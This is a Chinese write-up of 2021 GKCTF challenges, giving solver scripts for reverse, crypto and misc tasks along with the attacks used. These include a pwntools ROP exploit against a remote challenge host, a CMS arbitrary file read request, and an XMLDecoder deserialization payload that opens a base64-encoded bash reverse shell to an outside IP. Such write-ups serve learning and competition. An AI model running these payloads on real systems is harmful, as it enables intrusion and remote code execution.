-
-
[原创][庆祝建党]2021GKCTF-WP(NAN)
-
2021-6-29 16:07 10010
-
2021GKCTF
一:Reverse
1. QQQQT
使用exeinforpe检查发现是用的Enigma Virtual Box打的包
下载工具EnigmaVBUnpacker将exe解包一下
得到QQQQT_unpacked.exe
拖入IDA分析
- 关键逻辑在函数sub_4012F0里面,就是一个标准的base58,然后比较字符串,写个脚本解一下即可
查找字符串得到比较数据和base58的码表:56fkoP8KhwCf3v7CEz和123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz
写一个脚本解一下即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | # _*_ coding: utf-8 _*_ # editor: SYJ # function: Reversed By SYJ # describe: def b58encode(tmp: str ) - > str : tmp = list ( map ( ord ,tmp)) temp = tmp[ 0 ] base58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz" for i in range ( len (tmp) - 1 ): temp = temp * 256 + tmp[i + 1 ] tmp = [] while True : tmp.insert( 0 ,temp % 58 ) temp = temp / / 58 if temp = = 0 : break temp = "" for i in tmp: temp + = base58[i] return temp def b58decode(tmp: str ) - > str : import binascii base58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz" temp = [] for i in tmp: temp.append(base58.index(i)) tmp = temp[ 0 ] for i in range ( len (temp) - 1 ): tmp = tmp * 58 + temp[i + 1 ] return binascii.unhexlify( hex (tmp)[ 2 :].encode( "utf-8" )).decode( "UTF-8" ) cmp = "56fkoP8KhwCf3v7CEz" print ( 'flag{' + b58decode( cmp ) + '}' ) # 得到flag为:flag{12t4tww3r5e77} |
2. app-debug
得到apk,直接拖入jadx,得到关键逻辑
其实很简单,就是MainActivity里面调用的check函数检测我们输入的flag,而check函数是System.loadLibrary("native-lib");
使用工具apk-tools获取一下apk的资源,然后将lib文件夹里面的so拖入IDA进行分析
shift+f12查找字符串,发现会检测是否被调试
交叉引用一下发现检测调试的函数是sub_738378DF3C
然后关键的check函数是Java_com_example_myapplication_MainActivity_check
里面是将我们输入的字符串进行TEA加密, 里面有比较数据
使用IDA和adb调试一下,可以发现key,即那四个数字被改变
然后写个C脚本解一下即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | #include <stdio.h> #include <stdint.h> void encrypt (uint32_t * v, uint32_t * k) { uint32_t v0 = v[ 0 ], v1 = v[ 1 ], sum = 0 , i; / * set up * / uint32_t delta = 0x458BCD42 ; / * a key schedule constant * / uint32_t k0 = k[ 0 ], k1 = k[ 1 ], k2 = k[ 2 ], k3 = k[ 3 ]; / * cache key * / for (i = 0 ; i < 32 ; i + + ) { / * basic cycle start * / sum + = delta; v0 + = ((v1<< 4 ) + k0) ^ (v1 + sum ) ^ ((v1>> 5 ) + k1); v1 + = ((v0<< 4 ) + k2) ^ (v0 + sum ) ^ ((v0>> 5 ) + k3); } / * end cycle * / v[ 0 ] = v0; v[ 1 ] = v1; } void decrypt (uint32_t * v, uint32_t * k) { uint32_t delta = 0x458BCD42 ; / * a key schedule constant * / uint32_t v0 = v[ 0 ], v1 = v[ 1 ], sum = (delta * 32 )& 0xffffffff , i; / * set up * / uint32_t k0 = k[ 0 ], k1 = k[ 1 ], k2 = k[ 2 ], k3 = k[ 3 ]; / * cache key * / for (i = 0 ; i< 32 ; i + + ) { / * basic cycle start * / v1 - = ((v0<< 4 ) + k2) ^ (v0 + sum ) ^ ((v0>> 5 ) + k3); v0 - = ((v1<< 4 ) + k0) ^ (v1 + sum ) ^ ((v1>> 5 ) + k1); sum - = delta; } / * end cycle * / v[ 0 ] = v0; v[ 1 ] = v1; } int main() { uint32_t array[] = { 0xF5A98FF3 , 0xA21873A3 }; / / { 0xF5A98FF3 , 0xA21873A3 }; uint32_t key[ 4 ] = { 9 , 7 , 8 , 6 }; / / encrypt(array, key); decrypt(array, key); / / printf( "%x\n%x" ,array[ 0 ],array[ 1 ]); printf( "%c,%c,%c,%c,%c,%c,%c,%c" , * ((char * )&array[ 0 ] + 0 ), * ((char * )&array[ 0 ] + 1 ), * ((char * )&array[ 0 ] + 2 ), * ((char * )&array[ 0 ] + 3 ), * ((char * )&array[ 1 ] + 0 ), * ((char * )&array[ 1 ] + 1 ), * ((char * )&array[ 1 ] + 2 ), * ((char * )&array[ 1 ] + 3 )); return 0 ; / / GKcTFg0 } |
最后将这得到的flag{md5(input)}一下即可,flag{77bca47fe645ca1bd1ac93733171c9c4}
3. Crash
拖入IDA分析,main函数在先检测了input的格式,然后传入man_check函数检测,可以从maincheck函数中发现,GKCTF{之后的24个字节被传入了main_encrypto函数进行加密,再后面四字节是sha_256,再后面四字节是sha_512,再后面四字节是md5,main_encrypto函数内部是Des3,最后base64加密一下,后面那些hash函数直接查一下就可以得到,这个DES是关键,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | from Crypto.Cipher import DES3 ans = [ 163 , 246 , 150 , 62 , 51 , 77 , 196 , 195 , 217 , 14 , 114 , 101 , 54 , 157 , 51 , 43 , 159 , 141 , 44 , 240 , 184 , 78 , 254 , 164 , 169 , 210 , 106 , 142 , 66 , 244 , 94 , 64 ] # 比较数据base64解码之后 c = bytes(ans) key = b 'WelcomeToTheGKCTF2021XXX' iv1 = b '1Ssecret' iv2 = b 'wumansgy' # key = b'00000000' # iv = b'00000000' des = DES3.new(key,DES3.MODE_CBC,iv1) m = des.decrypt(c) print (m) |
最后将后面的hash拼接一下,得到flag为:GKCTF{87f645e9-b628-412f-9d7a-e402f20af940}
4. SoMuchCode
在scanf输入函数下断点之后,交叉引用输入的变量,发现下方有个函数引用了输入,
进去之后根据XXTEA的加密逻辑对拍一下,交叉引用一下,这里是生成delta的逻辑,调试到这里得到delta为0x33445566, 同时对拍也会得到key
然后下方跟着调试下去,可以在内存里得到比较数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | #include <stdio.h> #include <stdlib.h> #define DELTA 0x33445566 int main() { unsigned int v[ 8 ] = { 0x993CAB5C , 0x3F40E129 , 0x777791DE , 0x737DFEA6 , 0x0ECCF59E6 , 0x0C9604CE3 , 0x9682C0A5 , 0x556F2A1E }; unsigned int key[ 4 ] = { 0x000036B0 , 0x00013816 , 0x00000010 , 0x0001E0F3 }; unsigned int sum = 0 ; unsigned int y,z,p,rounds,e; int n = 8 ; int i = 0 ; rounds = 12 ; y = v[ 0 ]; sum = (rounds * DELTA)& 0xffffffff ; do / / 0x9E3779B9 * ( 52 / 35 ) - 0x4AB325AA ,测试来要循环 7 次 { e = sum >> 2 & 3 ; for (p = n - 1 ;p> 0 ;p - - ) / / 34 次循环 { z = v[p - 1 ]; v[p] = (v[p] - ((((z>> 5 )^(y<< 2 )) + ((y>> 3 )^(z<< 4 ))) ^ ((key[(p^e)& 3 ]^z) + (y ^ sum )))) & 0xffffffff ; y = v[p]; } z = v[n - 1 ]; v[ 0 ] = (v[ 0 ] - (((key[(p^e)& 3 ]^z) + (y ^ sum )) ^ (((y<< 2 )^(z>> 5 )) + ((z<< 4 )^(y>> 3 ))))) & 0xffffffff ; y = v[ 0 ]; sum = ( sum - DELTA)& 0xffffffff ; } while ( - - rounds); for (i = 0 ;i< 8 ;i + + ) { printf( "%c%c%c%c" , * ((char * )&v[i] + 0 ), * ((char * )&v[i] + 1 ), * ((char * )&v[i] + 2 ), * ((char * )&v[i] + 3 )); } return 0 ; } |
得到flag为:9b34a61df773acf0e4dec25ea5fb0e29
5. KillerAid
C# 逆向,DLL做核心验证,DLL 里面有反调试,简单 patch 即可
然后有一个极其恶心的 AES 魔改算法
行移位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | void myshift( int pArray[ 4 ][ 4 ]){ int tmpArr[ 4 ][ 4 ] = { 0 }; tmpArr[ 0 ][ 0 ] = pArray[ 0 ][ 0 ]; tmpArr[ 0 ][ 1 ] = pArray[ 1 ][ 1 ]; tmpArr[ 0 ][ 2 ] = pArray[ 2 ][ 2 ]; tmpArr[ 0 ][ 3 ] = pArray[ 3 ][ 3 ]; tmpArr[ 1 ][ 0 ] = pArray[ 1 ][ 0 ]; tmpArr[ 1 ][ 1 ] = pArray[ 2 ][ 1 ]; tmpArr[ 1 ][ 2 ] = pArray[ 3 ][ 2 ]; tmpArr[ 1 ][ 3 ] = pArray[ 0 ][ 3 ]; tmpArr[ 2 ][ 0 ] = pArray[ 2 ][ 0 ]; tmpArr[ 2 ][ 1 ] = pArray[ 3 ][ 1 ]; tmpArr[ 2 ][ 2 ] = pArray[ 0 ][ 2 ]; tmpArr[ 2 ][ 3 ] = pArray[ 1 ][ 3 ]; tmpArr[ 3 ][ 0 ] = pArray[ 3 ][ 0 ]; tmpArr[ 3 ][ 1 ] = pArray[ 0 ][ 1 ]; tmpArr[ 3 ][ 2 ] = pArray[ 1 ][ 2 ]; tmpArr[ 3 ][ 3 ] = pArray[ 2 ][ 3 ]; for ( int i = 0 ; i < 4 ; + + i) { for ( int j = 0 ; j < 4 ; + + j) { pArray[i][j] = tmpArr[i][j]; } } } |
外层的也很恶心
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 | void mydeaes(char * p, char * iv, int plen, char * key){ int pArray0[ 4 ][ 4 ]; int pArray1[ 4 ][ 4 ]; int pIv[ 4 ][ 4 ]; int k = 0 ; char key_use[ 16 ]; convertToIntArray(iv, pIv); for ( int k1 = 31 ; k1 > = 0 ; k1 - = 1 ) { memcpy(key_use, key, 16 ); getRoundIvAndKey(k1, iv, key_use, pIv); / / f8 82 extendKey(key_use); / / 扩展密钥 convertToIntArray(&p[ 16 ], pArray1); convertToIntArray(&p[ 0 ], pArray0); addRoundKey(pArray1, 10 ); for ( int i = 9 ; i > = 1 ; i - - ) { mydeshift(pArray1); deSubBytes(pArray1); addRoundKey(pArray1, i); myTranspose(pArray1); deMixColumns(pArray1); / / 列混合 myTranspose(pArray1); } mydeshift(pArray1); / / 行移位 deSubBytes(pArray1); / / 字节代换 addRoundKey(pArray1, 0 ); / / 一开始的轮密钥加 for ( int i = 0 ; i < 4 ; + + i) { for ( int j = 0 ; j < 4 ; + + j) { pArray1[i][j] ^ = pArray0[i][j]; } } addRoundKey(pArray0, 10 ); for ( int i = 9 ; i > = 1 ; i - - ) { mydeshift(pArray0); deSubBytes(pArray0); addRoundKey(pArray0, i); myTranspose(pArray0); deMixColumns(pArray0); / / 列混合 myTranspose(pArray0); } mydeshift(pArray0); / / 行移位 deSubBytes(pArray0); / / 字节代换 addRoundKey(pArray0, 0 ); / / 一开始的轮密钥加 for ( int i = 0 ; i < 4 ; + + i) { for ( int j = 0 ; j < 4 ; + + j) { pArray0[i][j] ^ = pIv[i][j]; } } convertArrayToStr(pArray0, &p[ 0 ]); convertArrayToStr(pArray1, &p[ 16 ]); } } |
解密目标数据得到: Meaningless_!$!%*@^%#%_Code 字符串
C#层还有一个 code 计算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | from z3 import * flag2 = bytearray(b 'Meaningless_!$!%*@^%#%_Code' ) id = [BitVec( 'a%d' % i, 8 ) for i in range ( 9 )] fuckId = [i for i in id ] tt = bytearray(target) for j in range ( len (flag2)): id [j % len (target)] ^ = flag2[j % len (flag2)] s = Solver() for i in range ( 9 ): s.add( id [i] = = target[i]) s.check() res = s.model() id_ = '' for i in range ( 9 ): id_ + = chr (res[fuckId[i]].as_long()) print (id_) |
最后组合得到flag
flag{ginkgoCX@Meaningless!$!%*@^%#%_Code}
二:Pwn
checkin
这有个栈溢出,可以覆盖rbp
Pass是个md5加密,在线解一下就行
然后就是略微麻烦的栈迁移加ROP了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | from pwn import * context.log_level = 'debug' def debug(): gdb.attach(sh, 'b *0x401972' ) pause() #sh = process("./login") sh = remote( "node3.buuoj.cn" , 29740 ) libc = ELF( './libc.so.6' ) pop_rdi = 0x0000000000401ab3 pop_rsi_r15 = 0x0000000000401ab1 pop_rsp_ppp = 0x0000000000401aad pop_rbp = 0x0000000000400760 s1 = b 'admin' + p64( 0x4018E8 ) + p64(libc.sym[ 'puts' ]) + p64(libc.sym[ 'puts' ]) #+ p64() sh.recvuntil( ">" ) sh.send(s1) payload = b 'admin' payload = payload.ljust( 32 ,b '\\\\x00' ) payload + = p64( 0x602400 + 5 - 8 ) #debug() sh.recvuntil( ">" ) sh.send(payload) payload2 = b 'aaaaa' + p64(pop_rdi) + p64( 0x602028 ) + p64( 0x400680 ) + p64(pop_rdi) + p64( 0 ) + p64(pop_rsi_r15) + p64( 0x602500 ) + p64( 0 ) + p64( 0x4006A0 ) + p64(pop_rbp) + p64( 0x602500 - 8 ) + p64( 0x4018C5 ) sh.send(payload2) libc_base = u64(sh.recvuntil( '\\\\x7f' )[ - 6 :].ljust( 8 , b '\\\\x00' )) - libc.sym[ 'puts' ] print ( hex (libc_base)) system = libc.sym[ 'system' ] + libc_base sh_addr = libc_base + 0x18CE57 payload3 = p64(pop_rdi) + p64(sh_addr) + p64(system) sh.send(payload3) sh.interactive() |
三:Web
1. ezcms
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | / * * * Download theme. * * @param string $exportedFile * @access public * @ return void * / public function downloadtheme($exportedFile) { $exportedFile = helper::safe64Decode($exportedFile); $fileData = file_get_contents($exportedFile); $pathInfo = pathinfo($exportedFile); $this - >loadModel( 'file' ) - >sendDownHeader($pathInfo[ 'basename' ], 'zip' , $fileData, filesize($exportedFile)); } |
登入后台,简单审计发现有一个任意文件读
1 | POST / admin.php?m = ui&f = downloadtheme&exportedFile = L2ZsYWc = |
- babycat
先是注册,注册后有一个简单的任意文件下载
看到是纯Servlet写的,加大了我做这道题的信心(哈哈哈)
1 2 3 4 5 6 7 8 | protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (!ServletFileUpload.isMultipartContent(req)) { req.setAttribute( "error" , "<script>alert('something wrong');history.back(-1)</script>" ); req.getRequestDispatcher( "../WEB-INF/error.jsp" ).forward((ServletRequest)req, (ServletResponse)resp); } DiskFileItemFactory factory = new DiskFileItemFactory(); ...... } |
发现uploadServlet并没有验证是不是admin,可以直接上传
baseDao
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | public static void getConfig() throws FileNotFoundException { Object obj = (new XMLDecoder(new FileInputStream(System.getenv( "CATALINA_HOME" ) + "/webapps/ROOT/db/db.xml" ))).readObject(); if (obj instanceof HashMap) { HashMap map = (HashMap)obj; if ( map ! = null && map .get( "url" ) ! = null) { driver = (String) map .get( "driver" ); url = (String) map .get( "url" ); username = (String) map .get( "username" ); password = (String) map .get( "password" ); } } } public static Connection getConnection() throws Exception { getConfig(); if (connection = = null) try { Class.forName(driver); connection = DriverManager.getConnection(url, username, password); } catch (SQLException|ClassNotFoundException e) { e.printStackTrace(); } return connection; } |
这里直接xmldecode反序列化了
registerServlet
1 2 3 4 5 | try { connection = baseDao.getConnection(); } catch (Exception e) { e.printStackTrace(); } |
这里写的非常奇怪啊,反正注册的时候还会加载一次
上传../../db/db.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <?xml version = "1.0" encoding = "UTF-8" ?> <java> < object class = "java.lang.ProcessBuilder" > <array class = "java.lang.String" length = "3" > <void index = "0" > <string> / bin / bash< / string> < / void> <void index = "1" > <string> - c< / string> < / void> <void index = "2" > <string>{echo,YmFzaCAtYyAnYmFzaCAtaSA + JiAvZGV2L3RjcC8xMTguMTk1LjE0OS41MC83NTc1IDA + JjEn}|{base64, - d}|{bash, - i}< / string> < / void> < / array> <void method = "start" / > < / object > < / java> |
然后随便注册一个用户就可以弹了
四:Crypto
- RRRRsa
套娃题,第一层跟巅峰极客tryRSA基本一致,第二层$modq1$稍微变换一下,消去p1之后和n2做一次gcd就好了,具体看代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | from Crypto.Util.number import * from Crypto.Cipher import AES import gmpy2 c = 13492392717469817866883431475453770951837476241371989714683737558395769731416522300851917887957945766132864151382877462142018129852703437240533684604508379950293643294877725773675505912622208813435625177696614781601216465807569201380151669942605208425645258372134465547452376467465833013387018542999562042758 n1 = 75003557379080252219517825998990183226659117019770735080523409561757225883651040882547519748107588719498261922816865626714101556207649929655822889945870341168644508079317582220034374613066751916750036253423990673764234066999306874078424803774652754587494762629397701664706287999727238636073466137405374927829 c1 = 68111901092027813007099627893896838517426971082877204047110404787823279211508183783468891474661365139933325981191524511345219830693064573462115529345012970089065201176142417462299650761299758078141504126185921304526414911455395289228444974516503526507906721378965227166653195076209418852399008741560796631569 hint1 = 23552090716381769484990784116875558895715552896983313406764042416318710076256166472426553520240265023978449945974218435787929202289208329156594838420190890104226497263852461928474756025539394996288951828172126419569993301524866753797584032740426259804002564701319538183190684075289055345581960776903740881951 hint2 = 52723229698530767897979433914470831153268827008372307239630387100752226850798023362444499211944996778363894528759290565718266340188582253307004810850030833752132728256929572703630431232622151200855160886614350000115704689605102500273815157636476901150408355565958834764444192860513855376978491299658773170270 n2 = 114535923043375970380117920548097404729043079895540320742847840364455024050473125998926311644172960176471193602850427607899191810616953021324742137492746159921284982146320175356395325890407704697018412456350862990849606200323084717352630282539156670636025924425865741196506478163922312894384285889848355244489 c2 = 67054203666901691181215262587447180910225473339143260100831118313521471029889304176235434129632237116993910316978096018724911531011857469325115308802162172965564951703583450817489247675458024801774590728726471567407812572210421642171456850352167810755440990035255967091145950569246426544351461548548423025004 hint3 = 25590923416756813543880554963887576960707333607377889401033718419301278802157204881039116350321872162118977797069089653428121479486603744700519830597186045931412652681572060953439655868476311798368015878628002547540835719870081007505735499581449077950263721606955524302365518362434928190394924399683131242077 hint4 = 104100726926923869566862741238876132366916970864374562947844669556403268955625670105641264367038885706425427864941392601593437305258297198111819227915453081797889565662276003122901139755153002219126366611021736066016741562232998047253335141676203376521742965365133597943669838076210444485458296240951668402513 e1 = 202020 e2 = 212121 tt = (hint2 - e2) * inverse( 2021 , n1) * 2020 % n1 gcd( pow (tt, e1, n1) - hint1, n1) p1 = 10866506913047038137740935566742708261832434856649253065298695652571582985605691427640899414330824525161279752924895740377208318584484168722588418228539943 q1 = n1 / / p1 assert p1 * q1 = = n1 phi = (p1 - 1 ) * (q1 - 1 ) d = inverse( 65537 , phi) p = pow (c1, d, n1) e3 = 202020 e4 = 212121 tt1 = pow (hint3, e2, n2) * inverse( pow ( 2020 , e1 * e2, n2), n2) * pow ( 2021 , e1 * e2, n2) tt2 = pow (hint4, e1, n2) gcd(tt2 - tt1, n2) q2 = 9677269841262626154014538802932467267491753397490444024091702336017847934813782962738462815968445258898876277887404901976123237057034767859042412249801889 p2 = n2 / / q2 phi = (p2 - 1 ) * (q2 - 1 ) d = inverse( 65537 , phi) q = pow (c2, d, n2) print (f 'recover p = {p}' ) print (f 'recover q = {q}' ) c = 13492392717469817866883431475453770951837476241371989714683737558395769731416522300851917887957945766132864151382877462142018129852703437240533684604508379950293643294877725773675505912622208813435625177696614781601216465807569201380151669942605208425645258372134465547452376467465833013387018542999562042758 p = 10427877828607960828824196880189982447227873159144056654182603497553822225984112279849366464194134744025836953233538120415786132849793748917106511547495617 q = 8093980956746434856487735743522445882908700376447472091972521786684147548968037093544291721698931030114136012631370337384386054281793788977456777285384363 n = int (p) * int (q) phi = (p - 1 ) * (q - 1 ) d = inverse( 65537 , phi) m = pow (c, d, n) print (long_to_bytes(m)) # b'GKCTF{f64310b5-d5e6-45cb-ae69-c86600cdf8d8}' |
- Random
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | from randcrack import RandCrack from data import data1 from hashlib import md5 rc = RandCrack() for i in range ( len (data1)): if (i % 3 = = 0 ): r = bin ( int (data1[i]))[ 2 :].zfill( 32 ) rc.submit( int (r, 2 )) if (i % 3 = = 1 ): r = bin ( int (data1[i]))[ 2 :].zfill( 64 ) r1 = r[: 32 ] r2 = r[ 32 :] rc.submit( int (r2, 2 )) rc.submit( int (r1, 2 )) if (i % 3 = = 1 ): r = bin ( int (data1[i]))[ 2 :].zfill( 96 ) r1 = r[: 32 ] r2 = r[ 32 : 64 ] r3 = r[ 64 :] rc.submit( int (r3, 2 )) rc.submit( int (r2, 2 )) rc.submit( int (r1, 2 )) tmp = rc.predict_getrandbits( 32 ) print (tmp) flag = md5( str (tmp).encode()).hexdigest() print (flag) # 14c71fec812b754b2061a35a4f6d8421 |
五:Misc
- 签到
打开wireshark,跟踪http流,复制最长的那段base64的
打开ipython,用ctfbox解几次编码,最后将双写去掉就能拿到flag
赞赏
|
|
---|---|
|
师傅killer aid那题的反调试你是patch Isdebugpresent那一段嘛
|
![]() |